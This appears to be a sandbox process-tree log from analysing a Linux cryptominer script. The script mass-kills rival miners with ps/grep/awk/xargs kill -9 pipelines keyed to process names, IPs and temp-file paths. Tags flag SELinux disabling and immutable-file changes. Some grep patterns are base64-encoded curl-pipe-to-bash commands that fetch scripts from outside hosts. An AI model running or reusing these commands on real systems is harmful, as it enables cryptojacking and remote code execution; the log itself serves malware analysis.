-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1029
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1028
-
-
/bin/grepgrep -v grep2⤵PID:1027
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1030
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1026
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1034
-
-
/bin/grepgrep AgdgACUD2⤵PID:1033
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1035
-
-
/bin/grepgrep -v grep2⤵PID:1032
-
-
/bin/psps aux2⤵PID:1031
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1039
-
-
/bin/grepgrep uiZvwxG82⤵PID:1038
-
-
/bin/grepgrep -v grep2⤵PID:1037
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1040
-
-
/bin/psps aux2⤵PID:1036
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1044
-
-
/bin/grepgrep hahwNEdB2⤵PID:1043
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1045
-
-
/bin/grepgrep -v grep2⤵PID:1042
-
-
/bin/psps aux2⤵PID:1041
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1049
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1048
-
-
/bin/grepgrep -v grep2⤵PID:1047
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1050
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1046
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1054
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1053
-
-
/bin/grepgrep -v grep2⤵PID:1052
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1055
-
-
/bin/psps aux2⤵PID:1051
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1058
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1059
-
-
/bin/grepgrep -v grep2⤵PID:1057
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1060
-
-
/bin/psps aux2⤵PID:1056
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1064
-
-
/bin/grepgrep svc2⤵PID:1063
-
-
/bin/grepgrep -v grep2⤵PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1065
-
-
/bin/psps aux2⤵PID:1061
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1069
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1068
-
-
/bin/grepgrep -v grep2⤵PID:1067
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1070
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1066
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1077
-
-
/bin/grepgrep zXcDajSs2⤵PID:1076
-
-
/bin/grepgrep -v grep2⤵PID:1075
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1078
-
-
/bin/psps aux2⤵PID:1074
-
-
/bin/grepgrep 3lmigMo2⤵PID:1081
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1082
-
-
/bin/grepgrep -v grep2⤵PID:1080
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1083
-
-
/bin/psps aux2⤵PID:1079
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1087
-
-
/bin/grepgrep AkMK4A22⤵PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1085
-
-
/bin/psps aux2⤵PID:1084
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1091
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1092
-
-
/bin/grepgrep -v grep2⤵PID:1090
-
-
/bin/psps aux2⤵PID:1089
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1093
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1097
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1096
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1095
-
-
/bin/psps aux2⤵PID:1094
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1102
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1101
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1103
-
-
/bin/grepgrep -v grep2⤵PID:1100
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1099
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1107
-
-
/bin/grepgrep http_0xCC0312⤵PID:1106
-
-
/bin/grepgrep -v grep2⤵PID:1105
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1108
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1104
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1112
-
-
/bin/grepgrep http_0xCC0322⤵PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1110
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1113
-
-
/bin/psps aux2⤵PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1117
-
-
/bin/grepgrep http_0xCC0332⤵PID:1116
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1118
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/bin/psps aux2⤵PID:1114
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1122
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1123
-
-
/bin/grepgrep C4iLM4L2⤵PID:1121
-
-
/bin/grepgrep -v grep2⤵PID:1120
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1119
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1127
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1126
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1128
-
-
/bin/grepgrep -v grep2⤵PID:1125
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1124
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1132
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1131
-
-
/bin/grepgrep -v grep2⤵PID:1130
-
-
/bin/psps aux2⤵PID:1129
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1136
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1135
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1137
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1133
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1141
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1142
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1140
-
-
/bin/grepgrep -v grep2⤵PID:1139
-
-
/bin/psps aux2⤵PID:1138
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1148
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1147
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1149
-
-
/bin/grepgrep -v grep2⤵PID:1146
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1145
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1154
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1153
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1155
-
-
/bin/grepgrep -v grep2⤵PID:1152
-
-
/bin/psps aux2⤵PID:1151
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1160
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
-
/bin/grepgrep nqscheduler2⤵PID:1159
-
-
/bin/grepgrep -v grep2⤵PID:1158
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1157
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1167
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1166
-
-
/bin/grepgrep -v grep2⤵PID:1165
-
-
/bin/psps aux2⤵PID:1164
-
-
/bin/grepgrep "]"2⤵PID:1174
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1175
-
-
/bin/grepgrep -v aux2⤵PID:1173
-
-
/bin/grepgrep -v grep2⤵PID:1172
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1176
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1171
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1182
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1183
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1181
-
-
/bin/grepgrep -v grep2⤵PID:1180
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1179
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1187
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1188
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1189
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1185
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1194
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1193
-
-
/bin/grepgrep -v grep2⤵PID:1192
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1195
-
-
/bin/psps aux2⤵PID:1191
-
-
/bin/grepgrep -v -2⤵PID:1201
-
-
/bin/grepgrep -v /2⤵PID:1200
-
-
/bin/grepgrep -v grep2⤵PID:1199
-
-
/bin/grepgrep -v _2⤵PID:1202
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1203
-
-
/bin/psps aux2⤵PID:1198
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1204
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1211
-
-
/bin/grepgrep "\\[^"2⤵PID:1209
-
-
/bin/grepgrep -v grep2⤵PID:1208
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1207
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1215
-
-
/bin/grepgrep rsync2⤵PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1213
-
-
/bin/psps aux2⤵PID:1212
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1222
-
-
/bin/grepgrep watchd0g2⤵PID:1221
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1223
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1219
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1230
-
-
/bin/grepgrep -v grep2⤵PID:1227
-
-
/bin/psps aux2⤵PID:1226
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1235
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1234
-
-
/bin/grepgrep -v grep2⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1236
-
-
/bin/psps aux2⤵PID:1232
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1241
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1242
-
-
/bin/grepgrep /tmp/java2⤵PID:1240
-
-
/bin/grepgrep -v grep2⤵PID:1239
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1249
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1248
-
-
/bin/grepgrep gitee.com2⤵PID:1247
-
-
/bin/grepgrep -v grep2⤵PID:1246
-
-
/bin/psps aux2⤵PID:1245
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1256
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
-
/bin/grepgrep /tmp/java2⤵PID:1254
-
-
/bin/grepgrep -v grep2⤵PID:1253
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1252
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1263
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1262
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1261
-
-
/bin/grepgrep -v grep2⤵PID:1260
-
-
/bin/psps aux2⤵PID:1259
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1268
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1267
-
-
/bin/grepgrep 89.35.39.782⤵PID:1266
-
-
/bin/grepgrep -v grep2⤵PID:1265
-
-
/bin/psps aux2⤵PID:1264
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1275
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1274
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1273
-
-
/bin/grepgrep -v grep2⤵PID:1272
-
-
/bin/psps aux2⤵PID:1271
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1280
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1279
-
-
/bin/grepgrep kthrotlds2⤵PID:1278
-
-
/bin/grepgrep -v grep2⤵PID:1277
-
-
/bin/psps aux2⤵PID:1276
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1284
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1285
-
-
/bin/grepgrep ksoftirqds2⤵PID:1283
-
-
/bin/grepgrep -v grep2⤵PID:1282
-
-
/bin/psps aux2⤵PID:1281
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1289
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1290
-
-
/bin/grepgrep netdns2⤵PID:1288
-
-
/bin/grepgrep -v grep2⤵PID:1287
-
-
/bin/psps aux2⤵PID:1286
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1294
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1295
-
-
/bin/grepgrep watchdogs2⤵PID:1293
-
-
/bin/grepgrep -v grep2⤵PID:1292
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1291
-
-
/bin/grepgrep -v grep2⤵PID:1297
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1298
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1299
-
-
/bin/psps aux2⤵PID:1296
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1300
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1305
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1304
-
-
/bin/grepgrep kinsing2⤵PID:1303
-
-
/bin/grepgrep -v grep2⤵PID:1302
-
-
/bin/psps aux2⤵PID:1301
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1310
-
-
/bin/grepgrep redis22⤵PID:1308
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1309
-
-
/bin/grepgrep -v grep2⤵PID:1307
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1306
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1315
-
-
/bin/grepgrep -v aux2⤵PID:1313
-
-
/bin/grepgrep " ps"2⤵PID:1314
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1316
-
-
/bin/grepgrep -v grep2⤵PID:1312
-
-
/bin/psps aux2⤵PID:1311
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1321
-
-
/bin/grepgrep sync_supers2⤵PID:1319
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1317
-
-
/usr/bin/cutcut -c 9-152⤵PID:1320
-
-
/usr/bin/cutcut -c 9-152⤵PID:1325
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1326
-
-
/bin/grepgrep cpuset2⤵PID:1324
-
-
/bin/grepgrep -v grep2⤵PID:1323
-
-
/bin/psps aux2⤵PID:1322
-
-
/bin/grepgrep -v aux2⤵PID:1329
-
-
/bin/grepgrep -v grep2⤵PID:1328
-
-
/bin/grepgrep "x]"2⤵PID:1330
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1331
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1332
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1327
-
-
/bin/grepgrep "sh] <"2⤵PID:1336
-
-
/bin/grepgrep -v aux2⤵PID:1335
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1337
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1338
-
-
/bin/grepgrep -v grep2⤵PID:1334
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1333
-
-
/bin/grepgrep " \\[]"2⤵PID:1342
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1343
-
-
/bin/grepgrep -v aux2⤵PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1344
-
-
/bin/grepgrep -v grep2⤵PID:1340
-
-
/bin/psps aux2⤵PID:1339
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1349
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1348
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1347
-
-
/bin/grepgrep -v grep2⤵PID:1346
-
-
/bin/psps aux2⤵PID:1345
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1353
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1354
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1352
-
-
/bin/grepgrep -v grep2⤵PID:1351
-
-
/bin/psps aux2⤵PID:1350
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1358
-
-
/bin/grepgrep hahwNEdB2⤵PID:1357
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1359
-
-
/bin/grepgrep -v grep2⤵PID:1356
-
-
/bin/psps aux2⤵PID:1355
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1363
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1364
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1362
-
-
/bin/grepgrep -v grep2⤵PID:1361
-
-
/bin/psps aux2⤵PID:1360
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1368
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1369
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1367
-
-
/bin/grepgrep -v grep2⤵PID:1366
-
-
/bin/psps aux2⤵PID:1365
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1373
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1374
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1372
-
-
/bin/grepgrep -v grep2⤵PID:1371
-
-
/bin/psps aux2⤵PID:1370
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1378
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1377
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1379
-
-
/bin/grepgrep -v grep2⤵PID:1376
-
-
/bin/psps aux2⤵PID:1375
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1383
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1384
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1382
-
-
/bin/grepgrep -v grep2⤵PID:1381
-
-
/bin/psps aux2⤵PID:1380
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1388
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1387
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1389
-
-
/bin/grepgrep -v grep2⤵PID:1386
-
-
/bin/psps aux2⤵PID:1385
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1393
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1394
-
-
/bin/grepgrep sustse2⤵PID:1392
-
-
/bin/grepgrep -v grep2⤵PID:1391
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1390
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1399
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1398
-
-
/bin/grepgrep sustse32⤵PID:1397
-
-
/bin/grepgrep -v grep2⤵PID:1396
-
-
/bin/psps aux2⤵PID:1395
-
-
/bin/grepgrep wget2⤵PID:1403
-
-
/bin/grepgrep mr.sh2⤵PID:1402
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1404
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1405
-
-
/bin/grepgrep -v grep2⤵PID:1401
-
-
/bin/psps aux2⤵PID:1400
-
-
/bin/grepgrep curl2⤵PID:1409
-
-
/bin/grepgrep mr.sh2⤵PID:1408
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1407
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1406
-
-
/bin/grepgrep wget2⤵PID:1415
-
-
/bin/grepgrep 2mr.sh2⤵PID:1414
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1416
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1417
-
-
/bin/grepgrep -v grep2⤵PID:1413
-
-
/bin/psps aux2⤵PID:1412
-
-
/bin/grepgrep curl2⤵PID:1421
-
-
/bin/grepgrep 2mr.sh2⤵PID:1420
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1422
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1423
-
-
/bin/grepgrep -v grep2⤵PID:1419
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1418
-
-
/bin/grepgrep wget2⤵PID:1427
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1428
-
-
/bin/grepgrep cr5.sh2⤵PID:1426
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1429
-
-
/bin/grepgrep -v grep2⤵PID:1425
-
-
/bin/psps aux2⤵PID:1424
-
-
/bin/grepgrep curl2⤵PID:1433
-
-
/bin/grepgrep cr5.sh2⤵PID:1432
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1434
-
-
/bin/grepgrep -v grep2⤵PID:1431
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1435
-
-
/bin/psps aux2⤵PID:1430
-
-
/bin/grepgrep wget2⤵PID:1439
-
-
/bin/grepgrep logo9.jpg2⤵PID:1438
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1440
-
-
/bin/grepgrep -v grep2⤵PID:1437
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1441
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1436
-
-
/bin/grepgrep curl2⤵PID:1445
-
-
/bin/grepgrep logo9.jpg2⤵PID:1444
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1446
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1447
-
-
/bin/grepgrep -v grep2⤵PID:1443
-
-
/bin/psps aux2⤵PID:1442
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1451
-
-
/bin/grepgrep j2.conf2⤵PID:1450
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1452
-
-
/bin/grepgrep -v grep2⤵PID:1449
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1448
-
-
/bin/grepgrep wget2⤵PID:1456
-
-
/bin/grepgrep luk-cpu2⤵PID:1455
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1457
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1454
-
-
/bin/psps aux2⤵PID:1453
-
-
/bin/grepgrep curl2⤵PID:1462
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
-
/bin/grepgrep luk-cpu2⤵PID:1461
-
-
/bin/grepgrep -v grep2⤵PID:1460
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1464
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1459
-
-
/bin/grepgrep wget2⤵PID:1468
-
-
/bin/grepgrep ficov2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1469
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1466
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1465
-
-
/bin/grepgrep ficov2⤵PID:1473
-
-
/bin/grepgrep curl2⤵PID:1474
-
-
/bin/grepgrep -v grep2⤵PID:1472
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1471
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1475
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1476
-
-
/bin/grepgrep wget2⤵PID:1480
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1481
-
-
/bin/grepgrep he.sh2⤵PID:1479
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1482
-
-
/bin/grepgrep -v grep2⤵PID:1478
-
-
/bin/psps aux2⤵PID:1477
-
-
/bin/grepgrep he.sh2⤵PID:1485
-
-
/bin/grepgrep curl2⤵PID:1486
-
-
/bin/grepgrep -v grep2⤵PID:1484
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1487
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1488
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1483
-
-
/bin/grepgrep wget2⤵PID:1492
-
-
/bin/grepgrep miner.sh2⤵PID:1491
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1493
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1494
-
-
/bin/grepgrep -v grep2⤵PID:1490
-
-
/bin/psps aux2⤵PID:1489
-
-
/bin/grepgrep curl2⤵PID:1498
-
-
/bin/grepgrep miner.sh2⤵PID:1497
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1499
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1500
-
-
/bin/grepgrep -v grep2⤵PID:1496
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1495
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1505
-
-
/bin/grepgrep wget2⤵PID:1504
-
-
/bin/grepgrep nullcrew2⤵PID:1503
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1506
-
-
/bin/grepgrep -v grep2⤵PID:1502
-
-
/bin/psps aux2⤵PID:1501
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1511
-
-
/bin/grepgrep curl2⤵PID:1510
-
-
/bin/grepgrep nullcrew2⤵PID:1509
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1512
-
-
/bin/grepgrep -v grep2⤵PID:1508
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1507
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1516
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1517
-
-
